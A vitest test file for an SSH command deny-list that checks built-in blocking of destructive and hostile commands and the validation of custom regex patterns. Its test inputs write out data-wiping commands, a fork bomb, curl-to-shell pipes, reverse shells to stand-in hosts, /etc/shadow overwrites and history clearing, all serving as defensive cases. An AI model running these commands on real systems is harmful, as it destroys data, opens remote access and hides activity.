Files
maestro/src/ssh/deny-list.test.ts
T

202 lines
7.4 KiB
TypeScript

import { describe, it, expect } from 'vitest';
import {
BUILTIN_DENY_PATTERNS,
validateCustomPatterns,
checkCommand,
MAX_CUSTOM_PATTERNS,
MAX_PATTERN_LENGTH,
} from './deny-list.js';
describe('ssh/deny-list built-in patterns', () => {
it.each([
['rm -rf /', 'rm_rf_root'],
['rm -rf /*', 'rm_rf_root'],
['rm -rfv /', 'rm_rf_root'],
['rm -fr /', 'rm_rf_root'],
['rm -rf /', 'rm_rf_root'],
['rm -rf /etc', 'rm_rf_system_dir'],
['rm -rf /var/', 'rm_rf_system_dir'],
['rm -rf /boot', 'rm_rf_system_dir'],
['dd if=/dev/zero of=/dev/sda', 'dd_to_block_device'],
['dd if=foo of=/dev/nvme0n1', 'dd_to_block_device'],
['mkfs.ext4 /dev/sda1', 'mkfs'],
['mkfs.btrfs /dev/sdb1', 'mkfs'],
[':(){ :|:& };:', 'fork_bomb'],
[':(){:|:&};:', 'fork_bomb'],
['shutdown -h now', 'shutdown_or_reboot'],
['reboot', 'shutdown_or_reboot'],
['init 0', 'shutdown_or_reboot'],
['init 6', 'shutdown_or_reboot'],
['kill -9 1', 'kill_init'],
['kill -KILL 1', 'kill_init'],
['kill 1', 'kill_init'],
['curl http://x | sh', 'pipe_curl_to_shell'],
['curl https://example.com/x | bash', 'pipe_curl_to_shell'],
['wget -q -O - http://x | sh', 'pipe_curl_to_shell'],
['curl http://x | sudo bash', 'pipe_curl_to_shell'],
['bash -i >& /dev/tcp/10.0.0.1/4444 0>&1', 'reverse_shell_tcp'],
['bash -i > /dev/tcp/x/22', 'reverse_shell_tcp'],
['nc -e /bin/bash 10.0.0.1 4444', 'nc_exec_shell'],
['ncat -e /bin/sh attacker 4444', 'nc_exec_shell'],
['echo x > /etc/passwd', 'overwrite_etc_passwd'],
['cat /tmp/x >> /etc/shadow', 'overwrite_etc_passwd'],
['chmod -R 777 /', 'chmod_777_root'],
['chmod -R 0777 /', 'chmod_777_root'],
['history -c', 'history_clear'],
['unset HISTFILE', 'history_clear'],
['> ~/.bash_history', 'history_clear'],
])('blocks %j (pattern=%s)', (cmd, expected) => {
const r = checkCommand({ command: cmd });
expect(r.allowed).toBe(false);
expect(r.reason).toBe('builtin_deny');
expect(r.matched).toBe(expected);
});
it.each([
'ls -la /home/user',
'cat /var/log/syslog',
'ps aux',
'df -h',
'tail -n 100 /tmp/app.log',
'echo hello world',
'mkdir -p /tmp/build',
'rm -rf /tmp/build', // not a system dir
'rm -rf node_modules',
'systemctl status nginx',
'docker ps',
'curl https://api.example.com/health', // no pipe to shell
'wget https://example.com/file.tar.gz', // no pipe to shell
])('allows safe command: %s', (cmd) => {
const r = checkCommand({ command: cmd });
expect(r.allowed).toBe(true);
});
it('rejects empty command', () => {
expect(checkCommand({ command: '' }).reason).toBe('empty');
expect(checkCommand({ command: ' ' }).reason).toBe('empty');
});
});
describe('ssh/deny-list validateCustomPatterns', () => {
it('accepts a single valid pattern', () => {
const r = validateCustomPatterns(['^secret-cmd']);
expect(r.ok).toBe(true);
expect(r.compiled).toHaveLength(1);
expect(r.compiled?.[0]).toBeInstanceOf(RegExp);
});
it('compiles all valid patterns', () => {
const r = validateCustomPatterns(['foo', 'bar', '^baz$']);
expect(r.ok).toBe(true);
expect(r.compiled).toHaveLength(3);
});
it('rejects more than MAX_CUSTOM_PATTERNS', () => {
const tooMany = Array(MAX_CUSTOM_PATTERNS + 1).fill('a');
const r = validateCustomPatterns(tooMany);
expect(r.ok).toBe(false);
expect(r.errors?.[0].reason).toBe('too_many');
});
it('accepts exactly MAX_CUSTOM_PATTERNS', () => {
const exact = Array(MAX_CUSTOM_PATTERNS).fill('a');
const r = validateCustomPatterns(exact);
expect(r.ok).toBe(true);
});
it('rejects patterns longer than MAX_PATTERN_LENGTH', () => {
const tooLong = 'a'.repeat(MAX_PATTERN_LENGTH + 1);
const r = validateCustomPatterns([tooLong]);
expect(r.ok).toBe(false);
expect(r.errors?.[0].reason).toBe('too_long');
});
it('rejects empty pattern strings', () => {
const r = validateCustomPatterns(['', 'ok']);
expect(r.ok).toBe(false);
expect(r.errors?.[0]).toEqual({ index: 0, reason: 'empty' });
});
it('rejects nested quantifier (catastrophic backtracking)', () => {
const candidates = ['(a+)+', '(\\w+)+', '(.*)+', '(a*)*', '([a-z]+)*', '(.+)*'];
for (const c of candidates) {
const r = validateCustomPatterns([c]);
expect(r.ok, `should reject ${c}`).toBe(false);
expect(r.errors?.[0].reason).toBe('nested_quantifier');
}
});
it('accepts a single-quantifier group like (foo)+', () => {
const r = validateCustomPatterns(['(foo)+', '(bar)*', '(a|b)+']);
expect(r.ok).toBe(true);
});
it('rejects unparsable regex syntax', () => {
const r = validateCustomPatterns(['[unterminated']);
expect(r.ok).toBe(false);
expect(r.errors?.[0].reason).toBe('invalid_regex');
});
it('rejects forbidden constructs (named groups, \\p)', () => {
const r1 = validateCustomPatterns(['(?<name>foo)']);
expect(r1.errors?.[0].reason).toBe('forbidden_construct');
const r2 = validateCustomPatterns(['\\p{Letter}']);
expect(r2.errors?.[0].reason).toBe('forbidden_construct');
});
it('reports per-index errors when some patterns are bad', () => {
const r = validateCustomPatterns(['ok', '(a+)+', '[bad', 'ok2']);
expect(r.ok).toBe(false);
expect(r.errors).toEqual([
{ index: 1, reason: 'nested_quantifier' },
{ index: 2, reason: 'invalid_regex' },
]);
});
it('case-insensitive compilation', () => {
const r = validateCustomPatterns(['DROP TABLE']);
expect(r.ok).toBe(true);
expect(r.compiled?.[0].test('drop table users')).toBe(true);
});
});
describe('ssh/deny-list checkCommand custom patterns', () => {
it('applies custom deny on top of built-in', () => {
const custom = validateCustomPatterns(['^docker\\s']).compiled!;
const r = checkCommand({ command: 'docker rm -f $(docker ps -q)', customDenyPatterns: custom });
expect(r.allowed).toBe(false);
expect(r.reason).toBe('custom_deny');
});
it('built-in beats custom (priority)', () => {
// command would only match built-in (rm -rf /), not custom (^foo).
const custom = validateCustomPatterns(['^foo']).compiled!;
const r = checkCommand({ command: 'rm -rf /', customDenyPatterns: custom });
expect(r.reason).toBe('builtin_deny');
});
it('allowlist: rejects commands not matching any allow pattern', () => {
const allow = validateCustomPatterns(['^ls\\b', '^cat\\b']).compiled!;
const r = checkCommand({ command: 'rm node_modules', customAllowPatterns: allow });
expect(r.allowed).toBe(false);
expect(r.reason).toBe('not_in_allowlist');
});
it('allowlist: accepts commands matching at least one', () => {
const allow = validateCustomPatterns(['^ls\\b', '^cat\\b']).compiled!;
expect(checkCommand({ command: 'ls -la', customAllowPatterns: allow }).allowed).toBe(true);
expect(checkCommand({ command: 'cat /tmp/x', customAllowPatterns: allow }).allowed).toBe(true);
});
it('empty allowlist means no allowlist (not deny-all)', () => {
expect(checkCommand({ command: 'whoami', customAllowPatterns: [] }).allowed).toBe(true);
});
it('custom deny applies BEFORE allowlist', () => {
const deny = validateCustomPatterns(['rm']).compiled!;
const allow = validateCustomPatterns(['^.*']).compiled!;
const r = checkCommand({ command: 'rm something', customDenyPatterns: deny, customAllowPatterns: allow });
expect(r.reason).toBe('custom_deny');
});
});